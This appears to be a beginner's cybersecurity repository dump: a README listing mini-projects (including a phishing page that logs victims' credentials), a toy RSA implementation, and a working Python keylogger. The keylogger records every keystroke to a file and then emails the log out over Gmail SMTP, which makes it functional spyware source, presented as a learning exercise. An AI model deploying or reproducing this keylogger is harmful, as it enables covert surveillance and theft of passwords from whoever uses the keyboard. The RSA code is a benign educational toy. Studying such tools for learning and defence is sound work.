├── README.md ├── Keylogger └── keylogger.py └── RSA_Algorithm └── RSA_Python.py /README.md: -------------------------------------------------------------------------------- 1 | # Beginner Cybersecurity Mini-Projects 2 | As an absolute beginner in cybersecurity who has attempted some easy Capture-The-Flags (CTFs) challenges and TryHackMe labs, I decided to complete some easy cybersecurity projects to gain some hands-on experience. 3 | 4 | Since this repository is a collection of several mini-projects, each directory represents a standalone project that are meant to perform a particular task. Mini-projects range from defensive to offensive cybersecurity, and cover a variety of fundamental concepts such as computer networking, cryptography, exploits, and more. 5 | 6 | Some projects are implemented multiple times in different programming languages for learning purposes. 7 | 8 | ## Table of Contents 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 |
TitleDescription
RSA AlgorithmRivest-Shamir-Adleman (RSA) encryption algorithm from scratch.
KeyloggerA program that captures and records the user's keystrokes.
Network Sniffer (Packet Sniffer)A basic network scanner that checks the number of devices connected to the user's local network and displays the devices' local IP addresses along with their MAC addresses.
Phishing PagesAn attempt to display oneself as an authentic source in order to steal the credentials of a victim. Opens a webpage and asks the user to enter their credentials. The entered credentials are then logged in a text file.
SteganographyImplements LSB steganography using the "stegano" Python library
SSTIEmulates Server-side Template Injection (SSTI) using Flask. SSTIs are vulnerabilities that let the attacker inject code into server-side templates. Briefly, the attacker can introduce code that is processed by the server-side template, thereby resulting in remote code execution (RCE).
47 | -------------------------------------------------------------------------------- /Keylogger/keylogger.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Keyloggers are programs that capture your key strokes. They can be used to keep logs of everything you press 3 | on the keyboard and can be used for malicious purposes, i.e.: spyware, stealing login credentials. 4 | 5 | Current keyloggers have lots of functionalities. They record and display the exact date and time of each keystroke, 6 | on which application the keystrokes were entered, easy-to-read logs, etc. 7 | 8 | This program is simply a basic keylogger with limited functionality, which are to: 9 | -> Capture and save your keystrokes to a "keylogger.txt" file 10 | -> Send the contents of the file to your email (sender email is gmail with no two-factor authentication) 11 | 12 | To run: Open the file in terminal and enter "python keylogger.py". 13 | To escape: Press Esc key to exit the keylogger. 14 | 15 | Modules used: 16 | -> smtplib (pre-installed on Python) 17 | -> ssl (pre-installed on Python) 18 | -> pynput (requires installation with "pip install pynput") 19 | ''' 20 | 21 | # Defines an SMTP client session object to send mail to any internet machine with an SMTP or ESMTP listener daemon 22 | import smtplib 23 | # Provides access to TLS/SSL encryption and peer authentication facilities for network sockets 24 | import ssl 25 | # Allows the control and monitoring of input devices (mouse and keyboard) 26 | from pynput import keyboard 27 | 28 | # Replace user@domain.com with your email id (everywhere) 29 | sender_mail = "user@domain.com" 30 | # prefer using your own email id for receiver's as well. 31 | # Replace user@domain.com with your email id (everywhere) 32 | receiver_mail = "user@domain.com" 33 | password = "passcode" # Enter your Password here 34 | port = 587 35 | message = """From: user@domain.com 36 | To: user@domain.com 37 | Subject: KeyLogs 38 | Text: Keylogs 39 | """ 40 | 41 | 42 | def write(text): 43 | with open("keylogger.txt", 'a') as f: 44 | f.write(text) 45 | f.close() 46 | 47 | 48 | def on_key_press(Key): 49 | try: 50 | if (Key == keyboard.Key.enter): 51 | write("\n") 52 | else: 53 | write(Key.char) 54 | except AttributeError: 55 | if Key == keyboard.Key.backspace: 56 | write("\nBackspace Pressed\n") 57 | elif (Key == keyboard.Key.tab): 58 | write("\nTab Pressed\n") 59 | elif (Key == keyboard.Key.space): 60 | write(" ") 61 | else: 62 | temp = repr(Key)+" Pressed.\n" 63 | write(temp) 64 | print("\n{} Pressed\n".format(Key)) 65 | 66 | 67 | def on_key_release(Key): 68 | # This stops the Listener/Keylogger. 69 | # You can use any key you like by replacing "esc" with the key of your choice 70 | if (Key == keyboard.Key.esc): 71 | return False 72 | 73 | 74 | with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener: 75 | listener.join() 76 | 77 | with open("keylogger.txt", 'r') as f: 78 | temp = f.read() 79 | message = message + str(temp) 80 | f.close() 81 | 82 | context = ssl.create_default_context() 83 | server = smtplib.SMTP('smtp.gmail.com', port) 84 | server.starttls() 85 | server.login(sender_mail, password) 86 | server.sendmail(sender_mail, receiver_mail, message) 87 | print("Email Sent to ", sender_mail) 88 | server.quit() 89 | -------------------------------------------------------------------------------- /RSA_Algorithm/RSA_Python.py: -------------------------------------------------------------------------------- 1 | # Implementation of RSA algorithm in Python 2 | # Took inspiration from my university's Discrete Structures class where I learned number theory and cryptography 3 | 4 | # To run: Open Terminal in the root of the cloned repository, type "python RSA_Algorithm/RSA_Python.py". Press Enter. 5 | 6 | import math 7 | from pprint import pprint 8 | from string import ascii_lowercase 9 | 10 | encoding = {c: ascii_lowercase.index(c) + 1 for c in ascii_lowercase} 11 | encoding[" "] = 27 12 | 13 | 14 | def extended_euclid(a, b): 15 | # Returns (d,x,y) such that a*x + b*y = d = gcd(a,b) 16 | # x and y are the Bezout coefficients 17 | # Implements a recursive version of the Extended Euclidean algorithm 18 | # from https://www.geeksforgeeks.org/euclidean-algorithms-basic-and-extended/ 19 | if a == 0: 20 | return b, 0, 1 # Base case, since 0*0 + b*1 = 1 21 | 22 | # By Euclid's Theorem and the recursion 23 | d, x1, y1 = extended_euclid(b % a, a) 24 | 25 | # // is the integer division in Python 26 | # Since b = a*q + r, for some integer q, it follows that we can write q = (b//a) and r = b - a * (b//a) 27 | x = y1 - (b//a)*x1 28 | y = x1 29 | 30 | return d, x, y 31 | 32 | 33 | def extended_euclid_iterative(a, b): 34 | # Same thing as above, but non-recursive 35 | 36 | x0, x1, y0, y1 = 0, 1, 1, 0 37 | while a != 0: 38 | q, a, b = math.floor(b/a), b % a, a 39 | y0, y1 = y1, y0 - q*y1 40 | x0, x1 = x1, x0 - q*x1 41 | 42 | return b, x0, y0 43 | 44 | 45 | def modinv(a, m): 46 | if extended_euclid(a, m)[0] != 1: 47 | return "Inverse does not exist" 48 | # We have x such that 1 = ax + ym, so x = inv_a 49 | _, inv_a, _ = extended_euclid(a, m) 50 | if inv_a < 0: 51 | return (inv_a + m) 52 | return inv_a 53 | 54 | 55 | def rsa_gen_public_private_keys(p, q): 56 | found_e = False 57 | e = 2 58 | while not found_e and e < (p-1)*(q-1): 59 | g, _, _ = extended_euclid(e, (p-1)*(q-1)) 60 | if g == 1: 61 | found_e = True 62 | else: 63 | e += 1 64 | 65 | d = modinv(e, (p-1)*(q-1)) 66 | return (e, d) 67 | 68 | 69 | def rsa_encrypt(message, n, e): 70 | C = message**e % n 71 | return C 72 | 73 | 74 | def rsa_decrypt(encrypted, n, d): 75 | message = encrypted**d % n 76 | return message 77 | 78 | 79 | def encode(message): 80 | encoded = "" 81 | for c in message: 82 | i = encoding[c] 83 | if i < 10: 84 | encoded += "0" + str(i) 85 | else: 86 | encoded += str(i) 87 | return int(encoded) 88 | 89 | 90 | def decode(int_message): 91 | s_message = str(int_message) 92 | decoded = "" 93 | i = 0 94 | if len(s_message) % 2 != 0: 95 | s_message = "0" + s_message 96 | while i < len(s_message): 97 | int_c = int(s_message[i] + s_message[i+1]) 98 | for k, v in encoding.items(): 99 | if v == int_c: 100 | decoded += k 101 | i += 2 102 | return decoded 103 | 104 | 105 | def is_prime(n, verbose=False): 106 | sieve = sorted(list(range(2, math.floor(math.sqrt(n)) + 1))) 107 | size_of_sieve = len(sieve) 108 | while size_of_sieve > 0: 109 | # if verbose: 110 | # print(sieve) 111 | # print(size_of_sieve) 112 | i = sieve.pop(0) 113 | if n % i == 0 and i != n: 114 | if verbose: 115 | print("%s is a multiple of %s" % (n, i)) 116 | return False 117 | else: 118 | mult_of_i = [k for k in sieve if k % i == 0] 119 | sieve = sorted([x for x in sieve if x not in mult_of_i]) 120 | size_of_sieve = len(sieve) 121 | if verbose: 122 | print("%s is prime" % n) 123 | return True 124 | 125 | 126 | def gen_big_prime_less_than(upper_bound): 127 | for i in sorted(range(2, upper_bound), reverse=True): 128 | if is_prime(i, False): 129 | return i 130 | return "No prime found in interval" 131 | 132 | # private: p, q, d 133 | # public: n, e 134 | # All values are generated locally 135 | # upper_bound is an upper bound on the prime numbers p and q generated 136 | # message is the message to encode -> encrypt -> decrypt -> decode 137 | 138 | 139 | def have_fun_rsa(upper_bound, message): 140 | p = gen_big_prime_less_than(upper_bound) 141 | q = gen_big_prime_less_than(p) 142 | e, d = rsa_gen_public_private_keys(p, q) 143 | n = p*q 144 | 145 | encoded = encode(message) 146 | if encoded > n: 147 | pprint((message, encoded)) 148 | messages = split_into_smaller_messages(encoded, n) 149 | for encoded_i in messages: 150 | encrypted_i = rsa_encrypt(encoded_i, n, e) 151 | decrypted_i = rsa_decrypt(encrypted_i, n, d) 152 | decoded_i = decode(decrypted_i) 153 | pprint((encoded_i, encrypted_i, decrypted_i, decoded_i)) 154 | 155 | # If gcd(message, n) > 1, we split into smaller messages 156 | 157 | 158 | def split_into_smaller_messages(message, n): 159 | len_of_message = len(str(message)) 160 | num_of_digits = len(str(n)) 161 | messages = [] 162 | if num_of_digits > 2: 163 | size_of_messages = max([i for i in range(num_of_digits) if i % 2 == 0]) 164 | numb_of_messages = math.ceil(len_of_message / size_of_messages) 165 | for i in range(0, numb_of_messages): 166 | mes_i = "" 167 | for c in range(i*size_of_messages, (i+1)*size_of_messages): 168 | if c < len_of_message: 169 | mes_i += str(message)[c] 170 | messages.append(int(mes_i)) 171 | return messages 172 | 173 | 174 | have_fun_rsa(1000, "julie is eating bread") 175 | --------------------------------------------------------------------------------